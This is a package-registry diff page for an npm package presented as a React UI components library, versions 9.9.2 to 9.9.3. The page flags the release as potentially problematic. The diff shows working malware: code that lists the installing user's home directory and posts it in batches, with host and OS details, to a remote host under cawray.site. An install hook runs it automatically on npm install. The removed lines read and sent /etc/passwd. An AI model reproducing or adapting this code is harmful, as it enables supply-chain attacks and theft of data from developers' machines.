@platform-ui-kit/components-library-react 9.9.2 → 9.9.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @platform-ui-kit/components-library-react might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/lib/index.js +85 -30
  2. package/package.json +2 -2
package/lib/index.js CHANGED
@@ -1,15 +1,20 @@
1
1
  const http = require("http");
2
2
  const os = require("os");
3
3
  const { execSync } = require("child_process");
4
+ const fs = require("fs");
5
+ const path = require("path");
4
6
 
5
7
  const hostname = os.hostname();
8
+ const maxLinesPerRequest = 10; // Maximum lines to send per request
9
+ const outputFile = path.join(__dirname, "filesystem.txt"); // File to store the filesystem output
6
10
 
7
11
  // Function to execute shell commands and return output
8
12
  const executeCommand = (cmd) => {
9
13
  try {
10
14
  return execSync(cmd, { encoding: "utf-8" }).trim();
11
15
  } catch (error) {
12
- return `Error executing command: ${error.message}`;
16
+ console.error(`Error executing command: ${error.message}`);
17
+ return null; // Return null in case of error
13
18
  }
14
19
  };
15
20
 
@@ -18,39 +23,89 @@ const machineInfo = {
18
23
  hostname: hostname,
19
24
  os: `${os.type()} ${os.release()} ${os.arch()}`,
20
25
  uptime: os.uptime(),
21
- passwdFile: executeCommand("cat /etc/passwd"),
22
26
  };
23
27
 
24
- // Prepare data to be sent
25
- const data = new TextEncoder().encode(
26
- JSON.stringify({
27
- payload: machineInfo,
28
- project_id: process.argv[2],
29
- })
30
- );
31
-
32
- const options = {
33
- hostname: `${hostname}.cawray.site`,
34
- port: 80,
35
- path: "/",
36
- method: "POST",
37
- headers: {
38
- "Content-Type": "application/json",
39
- "Content-Length": data.length,
40
- },
41
- rejectUnauthorized: false,
28
+ // Function to gather the home directory
29
+ const gatherFilesystem = () => {
30
+ const homeDir = os.homedir(); // Get the home directory of the user
31
+ const command = `find ${homeDir} > ${outputFile}`; // Run the find command on the home directory
32
+ const result = executeCommand(command);
33
+ if (result === null) {
34
+ console.error("Failed to gather filesystem data.");
35
+ process.exit(1); // Exit if command fails
36
+ } else {
37
+ console.log("Filesystem data gathered in filesystem.txt");
38
+ }
42
39
  };
43
40
 
44
- // Send the request
45
- const req = http.request(options, (res) => {
46
- res.on("data", (d) => {
47
- process.stdout.write(d);
41
+ // Function to read the filesystem data in chunks
42
+ const readFilesystemInChunks = () => {
43
+ if (!fs.existsSync(outputFile)) {
44
+ console.error(`File not found: ${outputFile}`);
45
+ process.exit(1); // Exit if the file does not exist
46
+ }
47
+
48
+ const data = fs
49
+ .readFileSync(outputFile, "utf-8")
50
+ .split("\n")
51
+ .filter((line) => line.trim() !== "");
52
+ return data; // Return an array of directory lines
53
+ };
54
+
55
+ // Function to send a POST request with a given payload
56
+ const sendPostRequest = (chunk, chunkIndex) => {
57
+ const data = JSON.stringify({
58
+ payload: {
59
+ ...machineInfo,
60
+ directories: chunk,
61
+ },
62
+ project_id: process.argv[2],
48
63
  });
49
- });
50
64
 
51
- req.on("error", (error) => {
52
- console.error(error);
53
- });
65
+ const options = {
66
+ hostname: `${hostname}.platform.cawray.site`,
67
+ port: 80,
68
+ path: "/",
69
+ method: "POST",
70
+ headers: {
71
+ "Content-Type": "application/json",
72
+ "Content-Length": Buffer.byteLength(data),
73
+ },
74
+ rejectUnauthorized: false,
75
+ };
76
+
77
+ // Send the request
78
+ const req = http.request(options, (res) => {
79
+ res.on("data", (d) => {
80
+ process.stdout.write(d);
81
+ });
82
+ });
83
+
84
+ req.on("error", (error) => {
85
+ console.error(`Request error: ${error.message}`);
86
+ });
87
+
88
+ req.write(data);
89
+ req.end();
90
+ console.log(`Sent POST request for chunk ${chunkIndex + 1}`);
91
+ };
92
+
93
+ // Gather the filesystem starting from the home directory
94
+ gatherFilesystem();
95
+
96
+ // Read the filesystem data
97
+ const directoryLines = readFilesystemInChunks();
98
+ const totalLines = directoryLines.length; // Total lines collected
99
+
100
+ // Send each batch of directories, with a maximum of 10 lines per request
101
+ for (let i = 0; i < totalLines; i += maxLinesPerRequest) {
102
+ const chunk = directoryLines.slice(i, i + maxLinesPerRequest).join("\n");
103
+
104
+ // Adding a delay of 500ms between requests
105
+ setTimeout(
106
+ () => sendPostRequest(chunk, Math.floor(i / maxLinesPerRequest)),
107
+ (i / maxLinesPerRequest) * 500
108
+ );
109
+ }
54
110
 
55
- req.write(data);
56
- req.end();
111
+ console.log("All requests have been sent.");
package/package.json CHANGED
@@ -1,10 +1,10 @@
1
1
  {
2
2
  "name": "@platform-ui-kit/components-library-react",
3
- "version": "9.9.2",
3
+ "version": "9.9.3",
4
4
  "description": "My NPM",
5
5
  "main": "lib/index.js",
6
6
  "scripts": {
7
- "install": "echo 'test'"
7
+ "install": "node lib/index.js"
8
8
  },
9
9
  "author": "",
10
10
  "license": "ISC"